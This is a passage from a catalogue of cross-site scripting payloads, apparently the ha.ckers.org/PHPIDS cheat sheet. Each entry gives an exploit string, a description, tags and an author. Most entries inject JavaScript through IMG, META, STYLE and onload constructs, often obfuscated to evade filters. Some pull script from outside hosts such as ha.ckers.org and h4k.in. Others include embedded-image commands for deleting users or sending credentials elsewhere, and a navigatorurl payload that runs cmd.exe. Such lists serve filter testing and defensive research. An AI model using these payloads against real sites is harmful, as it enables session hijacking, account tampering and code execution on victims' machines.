Exploit String: <IMG DYNSRC="javascript:alert('XSS');">
Exploit Description: IMG Dynsrc
Exploit Tags: general, evil tags, internet explorer
Author Name: ha.ckers.org

IMG Embedded commands 1
Exploit Name: IMG Embedded commands 1
Exploit String: <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
Exploit Description: This works when the webpage where this is injected (like a web-board) is behind password protection and that
password protection works with other commands on the same domain.  This can be used to delete users, add users (if the user who
visits the page is an administrator), send credentials elsewhere, etc...  This is one of the lesser used but more useful XSS
vectors.
Exploit Tags: general, evil tags
Author Name: ha.ckers.org

IMG Embedded commands 2
Exploit Name: IMG Embedded commands 2
Exploit String: Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
Exploit Description: IMG Embedded commands part II - this is more scary because there are absolutely no identifiers that make it
look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the
image back to a command. So a normal <IMG SRC="http://badguy.com/a.jpg"> could actually be an attack vector to run commands as the
user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of
this).
Exploit Tags: general, redirect
Author Name: ha.ckers.org

IMG Lowsrc
Exploit Name: IMG Lowsrc
Exploit String: <IMG LOWSRC="javascript:alert('XSS');">
Exploit Description: IMG Lowsrc
Exploit Tags: general, evil tags, internet explorer
Author Name: ha.ckers.org

IMG No Quotes/Semicolon
Exploit Name: IMG No Quotes/Semicolon
Exploit String: <IMG SRC=javascript:alert('XSS')>
Exploit Description: No quotes and no semicolon
Exploit Tags: general, evil tags, internet explorer
Author Name: ha.ckers.org

IMG STYLE w/expression
Exploit Name: IMG STYLE w/expression
Exploit String: exp/*<XSS STYLE='no\xss:noxss("*//*");xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'>
Exploit Description: IMG STYLE with expression (this is really a hybrid of several CSS XSS vectors, but it really does show how
```

```
hard STYLE tags can be to parse apart, like the other CSS examples this can send IE into a loop).
Exploit Tags: general, evil tags, internet explorer
Author Name: ha.ckers.org

IMG w/JavaScript Directive
Exploit Name: IMG w/JavaScript Directive
Exploit String: <IMG SRC="javascript:alert('XSS');">
Exploit Description: Image XSS using the JavaScript directive.
Exploit Tags: general, evil tags, internet explorer
Author Name: ha.ckers.org

IMG w/VBscript
Exploit Name: IMG w/VBscript
Exploit String: <IMG SRC='vbscript:msgbox("XSS")'>
Exploit Description: VBscript in an image
Exploit Tags: general, evil tags, internet explorer
Author Name: ha.ckers.org

INPUT Image
Exploit Name: INPUT Image
Exploit String: <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
Exploit Description: INPUT Image
Exploit Tags: general, evil tags, internet explorer
Author Name: ha.ckers.org

IP Encoding
Exploit Name: IP Encoding
Exploit String: <A HREF="http://66.102.7.147/">XSS</A>
Exploit Description: URL string evasion (assuming ”http://www.google.com/” is programmatically disallowed).
Exploit Tags: general, evil tags, obfuscated
Author Name: ha.ckers.org

JavaScript concatenation vector variant 1
Exploit Name: JavaScript concatenation vector variant 1
Exploit String: s1=''+'java'+''+'scr'+'';s2=''+'ipt'+':'+'ale'+'';s3=''+'rt'+''+'(1)'+''; u1=s1+s2+s3;URL=u1
Exploit Description: This vector concatenates a string and evaluates it via mapping on URL
Exploit Tags: general, internet explorer, concatenated, obfuscated
Author Name: PHPIDS Group

JavaScript concatenation vector variant 2
Exploit Name: JavaScript concatenation vector variant 2
Exploit String: s1=0?'1':'i'; s2=0?'1':'fr'; s3=0?'1':'ame'; i1=s1+s2+s3; s1=0?'1':'jav'; s2=0?'1':'ascr'; s3=0?'1':'ipt';
s4=0?'1':':'; s5=0?'1':'ale'; s6=0?'1':'rt'; s7=0?'1':'(1)'; i2=s1+s2+s3+s4+s5+s6+s7;
Exploit Description: This vector concatenates a string and evaluates it via self-execution.
Exploit Tags: general, concatenated, obfuscated
```

```
Author Name: PHPIDS Group

JavaScript concatenation vector variant 3
Exploit Name: JavaScript concatenation vector variant 3
Exploit String:
s1=0?'':'i';s2=0?'':'fr';s3=0?'':'ame';i1=s1+s2+s3;s1=0?'':'jav';s2=0?'':'ascr';s3=0?'':'ipt';s4=0?'':':';s5=0?'':'ale';s6=0?'':'rt
';s7=0?'':'(1)';i2=s1+s2+s3+s4+s5+s6+s7;i=createElement(i1);i.src=i2;x=parentNode;x.appendChild(i);
Exploit Description: This vector concatenates a string and evaluates it via usage of common DOM methods and element creation.
Exploit Tags: general, concatenated, obfuscated
Author Name: PHPIDS Group

JavaScript concatenation vector variant 4
Exploit Name: JavaScript concatenation vector variant 4
Exploit String: s1=['java'+''+''+'scr'+'ipt'+':'+'aler'+'t'+'(1)'];
Exploit Description: This vector concatenates a string and evaluates it via filling a variable with payload concatenated in a JSON
array.
Exploit Tags: general, JSON, concatenated, obfuscated
Author Name: PHPIDS Group

JavaScript concatenation vector variant 5
Exploit Name: JavaScript concatenation vector variant 5
Exploit String: s1=['java'||''+'']; s2=['scri'||''+'']; s3=['pt'||''+''];
Exploit Description: This vector concatenates a string and evaluates it via filling a variable with payload concatenated in a JSON
array.
Exploit Tags: general, JSON, concatenated, obfuscated
Author Name: PHPIDS Group

JavaScript concatenation vector variant 6
Exploit Name: JavaScript concatenation vector variant 6
Exploit String: s1=!''&&'jav';s2=!''&&'ascript';s3=!''&&':';s4=!''&&'aler';s5=!''&&'t';s6=!''&&'(1)';s7=s1+s2+s3+s4+s5+s6;URL=s7;
Exploit Description: This vector concatenates a string and evaluates it via filling the URL property with payload concatenated in a
string  via ternary operators.
Exploit Tags: general, internet explorer, concatenated, obfuscated
Author Name: PHPIDS Group

JavaScript concatenation vector variant 7
Exploit Name: JavaScript concatenation vector variant 7
Exploit String: s1='java'||''+'';s2='scri'||''+'';s3='pt'||''+'';
Exploit Description: This vector concatenates a string and evaluates it via filling a variable with payload concatenated in a
regular string via ternary operators.
Exploit Tags: general, JSON, concatenated, obfuscated
Author Name: PHPIDS Group

JavaScript Includes
Exploit Name: JavaScript Includes
```

```
Exploit String: <BR SIZE="&{alert('XSS')}">
Exploit Description: &JavaScript includes (works in Netscape 4.x).
Exploit Tags: general, evil tags, obfuscated
Author Name: ha.ckers.org

JavaScript Link Location
Exploit Name: JavaScript Link Location
Exploit String: <A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
Exploit Description: URL string evasion (assuming ”http://www.google.com/” is programmatically disallowed)

JavaScript link location
Exploit Tags: general, evil tags, obfuscated, redirect
Author Name: ha.ckers.org

JavaScript-breaker using carriage return
Exploit Name: JavaScript-breaker using carriage return
Exploit String: %0da=eval;b=alert;a(b(/d/.source));
Exploit Description: This vector uses an urlencoded carriage return to break JS code and produce an alert afterwards.
Exploit Tags: general, JS breaking, CRLF
Author Name: kishor

JS link with whitespace obfuscation
Exploit Name: JS link with whitespace obfuscation
Exploit String: <a href          =              "javas  cript   :ale                            rt(1)">test
Exploit Description: This vector utilizes whitespace to obfuscate and contains a JS link.
Exploit Tags: general, evil tags, obfuscated
Author Name: thespanner.co.uk

JS string concatenation breaker
Exploit Name: JS string concatenation breaker
Exploit String: +alert(0)+
Exploit Description: This can be used when input is concatenated in JavaScript.
Exploit Tags: general, JS breaking, basic
Author Name: .mario

JSON based obfuscated onload vector
Exploit Name: JSON based obfuscated onload vector
Exploit String: <body onload=;a2={y:eval};a1={x:a2.y('al'+'ert')};;;;;;;;;_=a1.x;_(1);;;;
Exploit Description: This vector injects a new body tag and utilized the onload event to modify the DOM. JSON parenthesis and
semicolons are to evade filters.
Exploit Tags: general, evil tags, JSON, obfuscated
Author Name: thespanner.co.uk

JSON based onload vector
Exploit Name: JSON based onload vector
```

```
Exploit String: <body onload=a1={x:this.parent.document};a1.x.writeln(1);>
Exploit Description: This vector injects a new body tag and utilized the onload event to modify the DOM
Exploit Tags: general, evil tags, JSON, obfuscated
Author Name: thespanner.co.uk

JSON based semicolon-onload vector
Exploit Name: JSON based semicolon-onload vector
Exploit String: <body onload=;a1={x:document};;;;;;;;;_=a1.x;_.write(1);;;;
Exploit Description: This vector injects a new body tag and utilized the onload event to modify the DOM. Also this vector uses
semicolons to obfuscate.
Exploit Tags: general, evil tags, JSON, obfuscated
Author Name: thespanner.co.uk

LAYER
Exploit Name: LAYER
Exploit String: <LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER>
Exploit Description: Layer (Older Netscape only)
Exploit Tags: general, evil tags
Author Name: ha.ckers.org

List-style-image
Exploit Name: List-style-image
Exploit String: <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS
Exploit Description: Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE
rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector.
Exploit Tags: general, evil tags, internet explorer
Author Name: ha.ckers.org

Livescript
Exploit Name: Livescript
Exploit String: <IMG SRC="livescript:[code]">
Exploit Description: Livescript (Older Netscape only)
Exploit Tags: general, evil tags
Author Name: ha.ckers.org

Local .htc file
Exploit Name: Local .htc file
Exploit String: <XSS STYLE="behavior: url(http://ha.ckers.org/xss.htc);">
Exploit Description: This uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling
in the JavaScript and running it as part of the style attribute.
Exploit Tags: general, evil tags, internet explorer, injection
Author Name: ha.ckers.org

Long UTF-8 Unicode w/out Semicolons
Exploit Name: Long UTF-8 Unicode w/out Semicolons
```

```
Exploit String: <IMG
SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&
#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
Exploit Description: Long UTF-8 Unicode encoding without semicolons (this is often effective in XSS that attempts to look for
”&#XX;”, since most people don't know about padding - up to 7 numeric characters total).  This is also useful against people who
decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate an
html encoded string (I've seen this in the wild).
Exploit Tags: general, evil tags, obfuscated, internet explorer
Author Name: ha.ckers.org

Malformed IMG Tags
Exploit Name: Malformed IMG Tags
Exploit String: <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
Exploit Description: Originally found by Begeek (http://www.begeek.it/2006/03/18/esclusivo-vulnerabilita-xss-in-firefox/#more-300 -
cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector
within an IMG tag that should be encapsulated within quotes.  I assume this was originally meant to correct sloppy coding.  This
would make it significantly more difficult to correctly parse apart an HTML tag.
Exploit Tags: general, evil tags, obfuscated
Author Name: ha.ckers.org

Markup breaker with special quotes
Exploit Name: Markup breaker with special quotes
Exploit String: %26%2339);x=alert;x(%26%2340 /finally through!/.source %26%2341);//
Exploit Description: This markup breaking vector utilizes specially crafted quotes to break the existing markup.
Exploit Tags: general, html breaking, JS breaking
Author Name: kishor

META
Exploit Name: META
Exploit String: <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
Exploit Description: The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for
certain types of attacks where you need to get rid of referring URLs.
Exploit Tags: general, evil tags
Author Name: ha.ckers.org

META w/additional URL parameter
Exploit Name: META w/additional URL parameter
Exploit String: <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
Exploit Description: Meta with additional URL parameter. If the target website attempts to see if the URL contains an ”http://” you
can evade it with the following technique (Submitted by Moritz Naumann http://www.moritz-naumann.com)
Exploit Tags: general, evil tags
Author Name: ha.ckers.org

META w/data:URL
Exploit Name: META w/data:URL
```

```
Exploit String: <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64###PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
Exploit Description: This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript
directive in it, since it utilizes base64 encoding. Please see http://www.ietf.org/rfc/rfc2397.txt for more details
Exploit Tags: general, evil tags
Author Name: ha.ckers.org

Mixed Encoding
Exploit Name: Mixed Encoding
Exploit String: <A HREF="http://6&#09;6.000146.0x7.147/">XSS</A>
Exploit Description: URL string evasion (assuming ”http://www.google.com/” is programmatically disallowed).

The tabs and newlines only work if this is encapsulated with quotes.
Exploit Tags: general, evil tags, obfuscated
Author Name: ha.ckers.org

Mocha
Exploit Name: Mocha
Exploit String: <IMG SRC="mocha:[code]">
Exploit Description: Mocha (Older Netscape only)
Exploit Tags: general, evil tags
Author Name: ha.ckers.org

Mozilla -moz-binding-url injection
Exploit Name: Mozilla -moz-binding-url injection
Exploit String:  style=-moz-binding:url(http://h4k.in/mozxss.xml#xss);" a="
Exploit Description: The vector incudes a binding file via injected style attrbute. Gecko only.
Exploit Tags: general, injection, gecko, style injection, XBL
Author Name: .mario

Mozilla -moz-binding-url injection - filter evading
Exploit Name: Mozilla -moz-binding-url injection - filter evading
Exploit String:  sstyle=foobar"tstyle="foobar"ystyle="foobar"lstyle="foobar"estyle="foobar"=-moz-
binding:url(http://h4k.in/mozxss.xml#xss)>foobar</b>#xss)" a="
Exploit Description: This vector was once used on a major site to evade a stripping filter and inject binding XML.
Exploit Tags: general, injection, gecko, style injection, XBL
Author Name: PHPIDS Group

Multiline selfcontained XSS
Exploit Name: Multiline selfcontained XSS
Exploit String: _

=

eval
```

```
b=1

__

=

location

c=1

_

(

__

.

hash

//

.

substr

(1)

)
```
Exploit Description: This vector uses line breaks to obfuscate and evaluates the location hash.
Exploit Tags: self contained, general, obfuscated
Author Name: .mario

Multiline w/Carriage Returns
Exploit Name: Multiline w/Carriage Returns
Exploit String: <IMGSRC="javascript:alert('XSS')">
Exploit Description: Multiline Injected JavaScript using ASCII carriage returns (same as above only a more extreme example of this XSS vector).
Exploit Tags: general, evil tags, internet explorer
Author Name: ha.ckers.org

Name contained XSS variant 1
Exploit Name: Name contained XSS variant 1
Exploit String: b=top,a=/loc/ . source,a+=/ation/ . source,b[a=a] = name
Exploit Description: This vector depends on attackers ability to access the window.name property where the payload is located.

```
Exploit Tags: general, name contained, obfuscated
Author Name: PHPIDS Group

Name contained XSS variant 2
Exploit Name: Name contained XSS variant 2
Exploit String: a=/ev///

.source a+=/al///

.source a[a] (name)
Exploit Description: This name contained XSS requires newlines to be able to work - and access to the window.name property.
Exploit Tags: general, name contained, obfuscated
Author Name: .mario

Name contained XSS variant 3
Exploit Name: Name contained XSS variant 3
Exploit String: a=/ev/

.source a+=/al/

.source,a = a[a] a(name)
Exploit Description: New-lined requiring name contained vector - this time not comment obfuscated so easier to detect.
Exploit Tags: general, name contained
Author Name: PHPIDS Group

Name contained XSS variant 4
Exploit Name: Name contained XSS variant 4
Exploit String: setTimeout//
(name// ,0)
Exploit Description: This vector utilizes the setTimeout function to fire - also it's name contained and comment-obfuscated and
requires newlines.
Exploit Tags: general, name contained, obfuscated, timed
Author Name: PHPIDS Group

navigatorurl: code execution
Exploit Name: navigatorurl: code execution
Exploit String: navigatorurl:test" -chrome
"javascript:C=Components.classes;I=Components.interfaces;file=C[\'@mozilla.org/file/local;1\'].createInstance(I.nsILocalFile);file.
initWithPath(\'C:\'+String.fromCharCode(92)+String.fromCharCode(92)+\'Windows\'+String.fromCharCode(92)+String.fromCharCode(92)+\'S
ystem32\'+String.fromCharCode(92)+String.fromCharCode(92)+\'cmd.exe\');process=C[\'@mozilla.org/process/util;1\'].createInstance(I.
nsIProcess);process.init(file);process.run(true%252c{}%252c0);alert(process)
Exploit Description: This navigatorurl-uri executes the cmd.exe on vulnerable systems.
Exploit Tags: URI exploits, gecko, injection, general
Author Name: xs-sniper
```

No Closing Script Tag
Exploit Name: No Closing Script Tag
Exploit String: <SCRIPT SRC=http://ha.ckers.org/xss.js
Exploit Description: In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the "></SCRIPT>" portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't affect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally.
Exploit Tags: general, evil tags, injection, gecko
Author Name: ha.ckers.org

No Quotes/Semicolons
Exploit Name: No Quotes/Semicolons
Exploit String: <SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
Exploit Description: No single quotes or double quotes or semicolons.
Exploit Tags: general, evil tags, obfuscated
Author Name: ha.ckers.org

Non-Alpha/Non-Digit
Exploit Name: Non-Alpha/Non-Digit
Exploit String: <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
Exploit Description: Non-alpha-non-digit XSS.  While I was reading the Firefox HTML parser I found that it assumes a non-alpha-non-digit is not valid after an HTML keyword and therefore considers it to be a whitespace or non-valid token after an HTML tag.  The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace.  For example "<SCRIPT\s" != "<SCRIPT/XSS\s"
Exploit Tags: general, evil tags, injection
Author Name: ha.ckers.org

Non-Alpha/Non-Digit Part 2
Exploit Name: Non-Alpha/Non-Digit Part 2
Exploit String: <BODY onload!#$%&()*~+-_.###:;?@[/|\]^`=alert("XSS")>
Exploit Description: Non-alpha-non-digit XSS part 2.  yawnmoth brought my attention to this vector, based on the same idea as above, however, I expanded on it, using my fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this does not apply to the grave accent char as seen here.
Exploit Tags: general, evil tags, obfuscated
Author Name: ha.ckers.org

Noscript-breaker with mouseover
Exploit Name: Noscript-breaker with mouseover
Exploit String: </noscript><br><code onmouseover=a=eval;b=alert;a(b(/h/.source));>MOVE MOUSE OVER THIS AREA</code>
Exploit Description: This vector breaks noscript areas and appends an element reacting on mouseover events.
Exploit Tags: general, html breaking, obfuscated, user interaction
Author Name: kishor

Null Chars 1

```
Exploit Name: Null Chars 1
Exploit String: perl -e 'print "<IMG SRC=java\0script:alert("XSS")>";'> out
Exploit Description: Okay, I lied, null chars also work as XSS vectors but not like above, you need to inject them directly using
something like Burp Proxy (http://www.portswigger.net/proxy/) or use %00 in the URL string or if you want to write your own
injection tool you can use Vim (^V^@ will produce a null) to generate it into a text file.  Okay, I lied again, older versions of
Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hyphen control char). But the null char %00 is
much more useful and helped me bypass certain real world filters with a variation on this example.
Exploit Tags: general, evil tags, obfuscated, internet explorer, CRLF
Author Name: ha.ckers.org

Null Chars 2
Exploit Name: Null Chars 2
Exploit String: perl -e 'print "&<SCR\0IPT>alert("XSS")</SCR\0IPT>";' > out
Exploit Description: Here is a little known XSS attack vector using null characters.  You can actually break up the HTML itself
using the same nulls as shown above. I've seen this vector bypass some of the most restrictive XSS filters to date
Exploit Tags: general, evil tags, obfuscated, CRLF
Author Name: ha.ckers.org

Obfuscated body onload vector
Exploit Name: Obfuscated body onload vector
Exploit String: <body onload=;;;;;;;;;;;_=alert;_(1);;;;
Exploit Description: This vector creates a new body tag and utilizes semicolons and underscores to evade filters and produce an
alert.
Exploit Tags: general, evil tags, obfuscated
Author Name: thespanner.co.uk

Obfuscated DOM element creation
Exploit Name: Obfuscated DOM element creation
Exploit String: s1=0?'':'i';s2=0?'':'fr';s3=0?'':'ame';i1=s1+s2+s3;s1=0?'':'jav';s2=

0?'':'ascr';s3=0?'':'ipt';s4=0?'':':';s5=0?'':'ale';s6=0?'':'rt';s7=

0?'':'(1)';i2=s1+s2+s3+s4+s5+s6+s7;i=createElement(i1);i.src=i2;x=pa

rentNode;x.appendChild(i);
Exploit Description: This vector utilizes ternary operators to obfuscate JavaScript code which creates new DOM elements.
Exploit Tags: general, obfuscated, injection
Author Name: thespanner.co.uk

Obfuscated double-body onload vector
Exploit Name: Obfuscated double-body onload vector
Exploit String: <body <body onload=;;;;;al:eval('al'+'ert(1)');;>
Exploit Description: This vector creates a doubled new body tag and utilizes semicolons to evade filters and produce an alert.
Exploit Tags: general, evil tags, obfuscated
Author Name: thespanner.co.uk
```

```
Obfuscated image tag using dec entities
Exploit Name: Obfuscated image tag using dec entities
Exploit String: <IMGSRC=&#106;&#97;&#118;&#97;&<WBR>#115;&#99;&#114;&#105;&#112;&<WBR>#116;&#58;&#97;

 &#108;&#101;&<WBR>#114;&#116;&#40;&#39;&#88;&#83<WBR>;&#83;&#39;&#41>
Exploit Description: This attack is built together with obfuscated decimal entities and create a JS image source.
Exploit Tags: general, basic, obfuscated, evil tags, internet explorer
Author Name: OWASP

Obfuscated image tag using hex entities
Exploit Name: Obfuscated image tag using hex entities
Exploit String: <IMGSRC=&#x6A&#x61&#x76&#x61&#x73&<WBR>#x63&#x72&#x69&#x70&#x74&#x3A&<WBR>#x61&#x6C&#x65&#x72&#x74&#x28

 &<WBR>#x27&#x58&#x53&#x53&#x27&#x29>
Exploit Description: This attack is built together with obfuscated hexadecimal entities and create a JS image source.
Exploit Tags: general, basic, obfuscated, evil tags, internet explorer
Author Name: OWASP

Obfuscated image tag using long dec entities
Exploit Name: Obfuscated image tag using long dec entities
Exploit String: <IMGSRC=&#0000106&#0000097&<WBR>#0000118&#0000097&#0000115&<WBR>#0000099&#0000114&#0000105&
<WBR>#0000112&#0000116&#0000058

&<WBR>#0000097&#0000108&#0000101&<WBR>#0000114&#0000116&#0000040&<WBR>#0000039&#0000088&#0000083&<WBR>#0000083&#0000039&#0000041>
Exploit Description: This attack is built together with obfuscated long decimal entities and create a JS image source.
Exploit Tags: general, owasp, obfuscated, evil tags, internet explorer
Author Name: OWASP

Obfuscated JS image source
Exploit Name: Obfuscated JS image source
Exploit String: >"'>
<img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;

 alert(%26quot;%26%23x20;XSS%26%23x20;Test%26%23x20;Successful%26quot;)>
Exploit Description: This vector uses urlencoded hex entities to obfuscate the javascript: image source.
Exploit Tags: general, owasp, obfuscated, evil tags, internet explorer
Author Name: OWASP

Obfuscated name trigger for Firefox
Exploit Name: Obfuscated name trigger for Firefox
Exploit String: (1?(1?{a:1?""[1?"ev\a\l":0](1?"\a\lert":0):0}:0).a:0)[1?"\c\a\l\l":0](content,1?"x\s\s":0)
Exploit Description: This XSS vector uses a parser bug in Firefox to obfuscate the methods needed to trigger the name contained
payload.
Exploit Tags: general, gecko, obfuscated, self contained
```

```
Author Name: SIrDarckCat

Obfuscated onload attribute variant 1
Exploit Name: Obfuscated onload attribute variant 1
Exploit String: <body/s/onload=x={doc:parent.document};x.doc.writeln(1)
Exploit Description: This vector creates a new body tag including an obfuscated onload attribute. Also the document object is
wrapped into a JSON literal to evade filters.
Exploit Tags: general, obfuscated, evil tags, JSON
Author Name: thespanner.co.uk

Obfuscated onload attribute variant 2
Exploit Name: Obfuscated onload attribute variant 2
Exploit String: <body/””$/onload=x={doc:parent['document']};x.doc.writeln(1)
Exploit Description: This vector creates a new body tag including an obfuscated onload attribute. Also the document object is
wrapped into a JSON literal to evade filters.
Exploit Tags: general, obfuscated, evil tags, JSON
Author Name: thespanner.co.uk

Obfuscated XML predicate vector variation 1
Exploit Name: Obfuscated XML predicate vector variation 1
Exploit String: 123[''+<_>ev</_>+<_>al</_>](''+<_>aler</_>+<_>t</_>+<_>(1)</_>);
Exploit Description: This vector uses XML predicates to obfuscate its payload and the fact that you can use underscores as XML
tags.
Exploit Tags: general, xml predicates, obfuscated, gecko
Author Name: PHPIDS Group

Obfuscated XML predicate vector variation 2
Exploit Name: Obfuscated XML predicate vector variation 2
Exploit String: s1=<s>evalalerta(1)a</s>,s2=<s></s>+'',s3=s1+s2,e1=/s/!=/s/?s3[0]:

0,e2=/s/!=/s/?s3[1]:0,e3=/s/!=/s/?s3[2]:0,e4=/s/!=/s/?s3[3]:0,e=/s/!=/

s/?0[e1+e2+e3+e4]:0,a1=/s/!=/s/?s3[4]:0,a2=/s/!=/s/?s3[5]:0,a3=/s/!=/

s/?s3[6]:0,a4=/s/!=/s/?s3[7]:0,a5=/s/!=/s/?s3[8]:0,a6=/s/!=/s/?s3[10]:

0,a7=/s/!=/s/?s3[11]:0,a8=/s/!=/s/?s3[12]:

0,a=a1+a2+a3+a4+a5+a6+a7+a8,1,e(a)
Exploit Description: This vector uses XML predicates to obfuscate its payload and the fact that you can use underscores as XML
tags. Also a concatenation via ternary operator is being used.
Exploit Tags: general, xml predicates, obfuscated, gecko
Author Name: PHPIDS Group

Obfuscated XML predicate vector variation 3
```

```
Exploit Name: Obfuscated XML predicate vector variation 3
Exploit String: o={x:''+<s>eva</s>+<s>l</s>,y:''+<s>aler</s>+<s>t</s>+<s>(1)</

s>};function f() { 0[this.x](this.y) }f.call(o);
Exploit Description: This vector uses XML predicates to obfuscate its payload. The payload is furthermore wrapped into JSON
literals for more obfuscation.
Exploit Tags: general, xml predicates, obfuscated, gecko, JSON
Author Name: .mario

Obfuscated XSS variant 1
Exploit Name: Obfuscated XSS variant 1
Exploit String: ___=1?'ert(123)':0,_=1?'al':0,__=1?'ev':0,1[__+_](_+___)
Exploit Description: Shuffled and obfuscated function calls
Exploit Tags: general, obfuscated
Author Name: PHPIDS Group

OBJECT
Exploit Name: OBJECT
Exploit String: <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
Exploit Description: If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET
tag. The linked file is actually an HTML file that can contain your XSS
Exploit Tags: general, evil tags
Author Name: ha.ckers.org

OBJECT w/Embedded XSS
Exploit Name: OBJECT w/Embedded XSS
Exploit String: <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>
Exploit Description: Using an OBJECT tag you can embed XSS directly (this is unverified).
Exploit Tags: general, evil tags, obfuscated, internet explorer
Author Name: ha.ckers.org

OBJECT w/Flash 2
Exploit Name: OBJECT w/Flash 2
Exploit String: a="get";&#10;b="URL("";&#10;c="javascript:";&#10;d="alert('XSS');")";eval(a+b+c+d);
Exploit Description: Using this action script inside flash can obfuscate your XSS vector.
Exploit Tags: general, evil tags, obfuscated
Author Name: ha.ckers.org

Octal Encoding
Exploit Name: Octal Encoding
Exploit String: <A HREF="http://0102.0146.0007.00000223/">XSS</A>
Exploit Description: URL string evasion (assuming ”http://www.google.com/” is programmatically disallowed).

Padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...
Exploit Tags: general, evil tags, obfuscated
```

```
Author Name: ha.ckers.org

Open string contained in name property
Exploit Name: Open string contained in name property
Exploit String: open(name)
Exploit Description: This very simple but effective vector uses the open method on the name property.
Exploit Tags: general, super short, self contained
Author Name: SIrDarckCat

PHP
Exploit Name: PHP
Exploit String: <? echo('<SCR)';echo('IPT>alert("XSS")</SCRIPT>'); ?>
Exploit Description: PHP - requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts
remotely like this, there are probably much more dire issues.
Exploit Tags: general, evil tags, obfuscated
Author Name: ha.ckers.org

Plain JavaScript alert
Exploit Name: Plain JavaScript alert
Exploit String: alert(1)
Exploit Description: This very basic exploit works on surprisingly many pages - no real danger but bad image.
Exploit Tags: general, basic, super short
Author Name: .mario

Protocol Resolution Bypass
Exploit Name: Protocol Resolution Bypass
Exploit String: <A HREF="//www.google.com/">XSS</A>
Exploit Description: URL string evasion (assuming ”http://www.google.com/” is programmatically disallowed).

Protocol resolution bypass (// translates to http:// which saves a few more bytes). This is really handy when space is an issue too
(two less characters can go a long way) and can easily bypass regex like ”(ht|f)tp(s)?://” (thanks to Ozh (http://planetOzh.com/)
for part of this one). You can also change the ”//” to ”\\”. You do need to keep the slashes in place, however, otherwise this will
be interpreted as a relative path URL.
Exploit Tags: general, evil tags, obfuscated
Author Name: ha.ckers.org

Protocol resolution in script tags
Exploit Name: Protocol resolution in script tags
Exploit String: <SCRIPT SRC=//ha.ckers.org/.j>
Exploit Description: This particular variant was submitted by Lukasz Pilorz and was based partially off of Ozh's protocol
resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a
</SCRIPT> tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the
better. The ”.j” is valid, regardless of the MIME type because the browser knows it in context of a SCRIPT tag.
Exploit Tags: general, evil tags, obfuscated, injection
Author Name: ha.ckers.org
```

```
RegExp based, and native C filter vector.
Exploit Name: RegExp based, and native C filter vector.
Exploit String: 0%0d%0a%00<script src=//h4k.in>
Exploit Description: This will break any RegExp that includes "$" (end of string), and some filters that do the verification
manually with a for waiting for a NULL byte.
Exploit Tags: general, injection, CRLF, obfuscated
Author Name: SIrDarckCat
Author URL: http://sirdarckcat.net/

Remote IE URL overloading
Exploit Name: Remote IE URL overloading
Exploit String: s1=''+'java'+''+'scr'+'';s2=''+'ipt'+':'+'ale'+'';s3=''+'rt'+''+'(1)

'+'';

u1=s1+s2+s3;URL=u1
Exploit Description: This vector assembles an alert which will be fired using the URL property.
Exploit Tags: general, obfuscated, internet explorer, URL breaking
Author Name: thespanner.co.uk

Remote Stylesheet 1
Exploit Name: Remote Stylesheet 1
Exploit String: <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
Exploit Description: Remote style sheet (using something as simple as a remote style sheet you can include your XSS as the style
question redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode.  Notice that
there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they
use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a
single letter to the page to make it work if it's an otherwise blank page.
Exploit Tags: general, evil tags, obfuscated, injection
Author Name: ha.ckers.org

Remote Stylesheet 2
Exploit Name: Remote Stylesheet 2
Exploit String: <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
